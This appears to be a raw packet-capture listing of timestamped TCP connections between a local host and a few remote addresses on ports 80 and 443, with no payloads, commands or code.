Nov 17, 2024 12:35:41.014614105 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.014664888 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.056996107 CET	443	49912	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:41.058005095 CET	49912	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:41.058092117 CET	443	49912	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:41.058454990 CET	49912	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:41.084028006 CET	443	49915	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.084942102 CET	49915	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.084971905 CET	443	49915	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.085712910 CET	49915	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.085720062 CET	443	49915	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.137157917 CET	443	49917	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.137614012 CET	443	49916	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.138207912 CET	49917	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.138231039 CET	443	49917	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.138851881 CET	49917	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.138856888 CET	443	49917	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.146702051 CET	49916	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.146702051 CET	49916	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.146744967 CET	443	49916	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.146759033 CET	443	49916	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.149986982 CET	443	49918	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.150507927 CET	49918	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.150526047 CET	443	49918	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.151936054 CET	49918	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.151942968 CET	443	49918	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.157915115 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.158893108 CET	443	49914	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:41.163096905 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.188390970 CET	49914	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:41.188420057 CET	443	49914	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:41.189645052 CET	443	49914	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:41.189863920 CET	49914	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:41.190390110 CET	49914	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:41.190390110 CET	49914	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:41.190411091 CET	443	49914	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:41.190437078 CET	49914	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:41.190462112 CET	443	49914	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:41.213386059 CET	443	49915	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.213454962 CET	443	49915	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.213527918 CET	49915	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.213978052 CET	49915	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.213989973 CET	443	49915	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.214019060 CET	49915	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.214026928 CET	443	49915	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.220972061 CET	49919	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.220999956 CET	443	49919	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.221116066 CET	49919	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.221299887 CET	49919	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.221307993 CET	443	49919	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.233814955 CET	49914	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:41.233854055 CET	443	49914	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:41.267573118 CET	443	49917	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.267714977 CET	443	49917	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.267963886 CET	49917	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.267963886 CET	49917	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.268049955 CET	49917	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.268085003 CET	443	49917	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.272571087 CET	49920	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.272602081 CET	443	49920	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.272739887 CET	49920	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.274312019 CET	443	49916	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.274358034 CET	49920	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.274375916 CET	443	49920	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.274518967 CET	443	49916	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.274887085 CET	49916	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.274887085 CET	49916	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.274962902 CET	49916	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.274991035 CET	443	49916	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.276447058 CET	443	49913	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.277997971 CET	49913	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.278017998 CET	443	49913	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.279823065 CET	49913	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.279829025 CET	443	49913	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.279830933 CET	49921	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.279870033 CET	443	49921	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.280853033 CET	49921	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.280853987 CET	49921	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.280883074 CET	443	49918	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.280891895 CET	443	49921	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.281056881 CET	443	49918	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.282974958 CET	49914	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:41.283070087 CET	49918	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.283564091 CET	49918	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.283564091 CET	49918	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.283576012 CET	443	49918	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.283595085 CET	443	49918	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.288564920 CET	49922	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.288577080 CET	443	49922	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.288666964 CET	49922	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.288846016 CET	49922	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.288863897 CET	443	49922	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.364578009 CET	443	49914	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:41.366552114 CET	49914	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:41.366616011 CET	443	49914	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:41.366766930 CET	49914	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:41.404486895 CET	443	49913	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.404573917 CET	443	49913	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.404849052 CET	49913	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.404890060 CET	49913	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.404890060 CET	49913	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.404908895 CET	443	49913	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.404920101 CET	443	49913	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.407759905 CET	49923	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.407819986 CET	443	49923	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.408061028 CET	49923	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.408210039 CET	49923	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:41.408227921 CET	443	49923	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:41.438651085 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.438680887 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.438690901 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.438703060 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.438715935 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.438726902 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.438733101 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.438733101 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.438791990 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.438802958 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.438802958 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.438803911 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.438842058 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.438847065 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.438847065 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.438853979 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.438863993 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.438874960 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.438885927 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.438898087 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.438898087 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.438930988 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.438930988 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.438967943 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.438978910 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.438988924 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.438998938 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439012051 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439018011 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439032078 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.439032078 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.439066887 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439075947 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439085960 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439095020 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.439097881 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439188957 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439193010 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.439193010 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.439201117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439250946 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439256907 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439268112 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439311028 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.439311028 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.439311028 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.439349890 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439359903 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439372063 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439402103 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439414024 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439441919 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.439486980 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.439773083 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439785004 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439796925 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439806938 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439819098 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439826965 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.439831972 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439856052 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.439863920 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439876080 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439887047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439902067 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439923048 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.439923048 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.439975977 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439987898 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.439987898 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.439999104 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440010071 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440021038 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440032005 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440032959 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.440047979 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.440083981 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.440083981 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.440289021 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440300941 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440313101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440324068 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440335035 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440346003 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440357924 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440362930 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.440368891 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440376043 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440387011 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.440387011 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.440387964 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440399885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440411091 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440418005 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440435886 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440449953 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440536022 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.440665960 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440677881 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440687895 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440713882 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.440726995 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.440726995 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.440920115 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440932035 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440942049 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440953016 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440963984 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440974951 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440992117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440998077 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.440999985 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441003084 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.441004992 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441009998 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441018105 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441029072 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441061020 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.441061974 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.441072941 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.441072941 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.441268921 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441281080 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441289902 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441301107 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441324949 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441334009 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441345930 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441359997 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.441359997 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.441359997 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.441364050 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441370010 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441375971 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441380978 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441386938 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441397905 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441451073 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441457033 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.441457033 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.441457033 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.441459894 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441473961 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441495895 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.441564083 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.441708088 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.441797018 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.557085991 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557112932 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557152987 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557166100 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557168007 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.557168007 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.557178020 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557210922 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.557255030 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557266951 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557281971 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.557364941 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557378054 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557404041 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.557462931 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557475090 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557486057 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557497978 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557509899 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557521105 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557532072 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.557532072 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.557585955 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557596922 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557647943 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.557657003 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.557784081 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557796955 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557807922 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557815075 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557826996 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.557877064 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.557877064 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.558022022 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.558032990 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.558044910 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.558058023 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.558067083 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.558068037 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.558079958 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.558093071 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.558104992 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.558115959 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.558115959 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.558166027 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.558177948 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.558202028 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.558212996 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.558223009 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.558223963 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.558223963 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.558235884 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.558248997 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.558269978 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.558269978 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.558330059 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.594989061 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.595020056 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.595031023 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.595043898 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.595057964 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.595069885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.595130920 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.595135927 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.595149994 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.595153093 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.595154047 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.595187902 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.595195055 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.595196962 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.595196962 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.595201969 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.595207930 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.595213890 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.595256090 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.595288992 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.595300913 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.595310926 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.595331907 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.595333099 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.595335960 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.595345974 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:41.595372915 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.595398903 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:41.595467091 CET	80	49778	185.215.113.206	192.168.2.5
